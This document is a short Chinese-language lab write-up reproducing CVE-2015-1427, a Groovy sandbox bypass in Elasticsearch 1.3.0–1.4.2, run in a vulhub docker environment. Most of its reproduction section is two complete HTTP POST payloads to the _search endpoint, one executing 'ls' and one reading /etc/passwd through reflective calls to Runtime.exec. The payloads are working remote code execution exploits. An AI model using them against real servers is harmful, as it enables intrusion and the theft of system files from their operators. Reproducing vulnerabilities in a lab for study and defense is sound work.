漏洞复现-ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)
漏洞原理
和3210的漏洞很像,也是恶意代码执行漏洞,3210是执行任意MVEL表达式和java代码,3210之后MVEL表达式被弃用,ES的动态脚本语言换成了Groovy(而且增加了sandbox),然额换成Groovy之后仍然存在恶意代码执行漏洞(ES:我好难,2333...)
复现环境
在ubuntu 16.04虚拟机中用vulhub靶场提供的docker容器来复现
jdk版本1.7
ElasticSearch版本1.4.2
影响版本
Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2
复现过程
像3210那样先增加一条数据,再调用_search接口。
执行java代码(为啥可以直接执行java代码?因为ES是用java开发的!)
POST /_search?pretty HTTP/1.1 Host: 192.168.101.10:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 156 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("ls").getText()"}}}
网上找的读取文件的POC:
POST /_search?pretty HTTP/1.1 Host: 192.168.101.10:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 425 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd").getInputStream())).readLines()","lang":"groovy"}}}